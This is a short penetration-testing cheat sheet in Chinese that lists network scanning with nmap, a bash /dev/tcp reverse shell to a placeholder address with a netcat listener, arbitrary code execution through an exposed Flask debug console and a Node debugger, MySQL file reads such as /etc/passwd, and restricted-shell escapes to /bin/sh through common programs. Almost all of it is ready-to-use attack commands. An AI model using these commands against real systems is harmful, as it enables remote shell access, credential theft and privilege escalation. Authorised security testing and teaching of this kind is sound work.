紀錄一下 pentest 會用到的相關技術
discover
掃描目標區段
# scan 192.X.Y.0/24 with 1) treat all host as online and 2) by TCP SYN
> nmap -sS -Pn 192.X.Y.0/24
# scan 192.X.Y.Z with TCP open port
> nmap -p - 192.X.Y.Z
# scan 192.X.Y.Z with UTP TOP open port
> nmap -sU --top-ports N 192.X.Y.Z
search link in HTML
curl URL | grep -oE "(href|src)=([\"']).*?\2" | sort | uniq
reversed shell
主要是在 local 環境執行 nc -lvn PORT
監聽 PORT 並等待反相連接,而目標可以透過
sh -i >&0 /dev/tcp/192.X.Y.Z/PORT 0>&1
連接到本地端 (local),成功的時候 nc 當下指令就可以拿到目標端的 shell
- 可以額外執行
python -c 'import pty; pty.spawn("/bin/sh")'
獲得 TTY - 先用 Ctrl-Z 脫離 nc、執行 stty raw -echo、fg 回到 nc,避免 Ctrl-C 之後離開 nc
更多版本 reverse shell 可以參考 這篇
debugger mode
當應用程式因為設定上錯誤導致 debug mode 開啟時,造成容易拿到 reversed shell 的狀況發生
flask
當 flask 開啟 debug mode 的時候,可以連到 http://localhost:5000/console
開啟指令模式。
之後可以透過 curl http://localhost:5000/console | grep SECRET -i
找到 secret,接著透過
curl http://localhost:5000/console?__debugger__=yes&cmd=CMD&frm=0&s=SECRET
就可以執行任意 python 指令。
node / js
根據 Node v8 / debugger-client 上的描述,可以透過 debugger 執行任意 expression
{
"seq": 1,
"type": "request",
"command": "evaluate",
"arguments": {
"expression": PAYLOAD
}
}
privileges escalation
SQL
當拿到 SQL 權限時,可以透過下面幾種方式拿到更多的權限:
MySQL
> SELECT @@VERSION # MySQL version
> SELECT user() # current user
> SELECT 'pwn' INTO DUMPFILE '/tmp/pwn' # write into host file-system
> SELECT LOAD_FILE('/etc/passwd') # read from the host file-system
> SELECT @@PLUGIN_DIR # the plugin directory, may UDF
> SELECT TO_BASE64('pwn') # check base64 support
sqlite
> .shell COMMAND # execute system commnad
Restricted Shell
Program | method |
---|---|
python | python -c 'import os; os.system("/bin/sh")' |
vim | :set shell=/bin/sh and :shell |
tar | tar zcvf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/sh |
zip | zip testfile /dev/null -T --unzip-command='sh -c /bin/sh' |
awk | awk 'BEGIN {system("/bin/bash")}' |
scp | echo 'sh 0>&2 1>&2' > shell; scp -S ./shell x y: |
ssh | echo 'sh 0>&2 1>&2' > shell; ssh -o ProxyCommand=./shell 127.0.0.1 |
composer | echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}} > composer.json; composer --working-dir=. run-script x |
Forensic
# aureport - produces summary reports of audit daemon logs
> aureport --tty 2>/dev/null